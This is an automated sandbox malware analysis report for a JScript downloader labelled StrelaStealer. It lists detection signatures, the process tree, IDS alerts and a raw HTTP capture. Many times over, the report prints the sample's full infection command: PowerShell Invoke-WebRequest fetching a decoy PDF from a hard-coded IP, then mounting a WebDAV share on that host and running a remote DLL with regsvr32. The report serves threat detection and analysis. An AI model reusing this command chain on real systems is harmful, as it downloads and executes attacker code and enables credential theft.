Edit tour

Windows Analysis Report
10323218772870612560.js

Overview

General Information

Sample name:	10323218772870612560.js
Analysis ID:	1589068
MD5:	88e4be145b5d8e6c49855a31a90b7599
SHA1:	8a4f934e6701977d9ab2c08f533e7ab0c9985cd6
SHA256:	1d939eb9baf7df34da4d50ee4028dc31ef7d45ddd63ca122d79590334e24fc2e
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7876 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7968 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8016 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7188 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3280 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1644,i,1473464380833965545,3680319473112078666,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7240 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7332 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3636 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7876	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8016, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8016, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", ProcessId: 7876, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7332, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 7968, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 7968, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 7968, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 7968, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 7968, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", ProcessId: 7876, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8016, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7240, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7332, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3636, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7240, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7332, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10323218772870612560.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7876, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 7968, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:08:23.829171+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:08:25.932702+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:08:23.829171+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 10323218772870612560.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 10323218772870612560.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 10323218772870612560.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:08:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

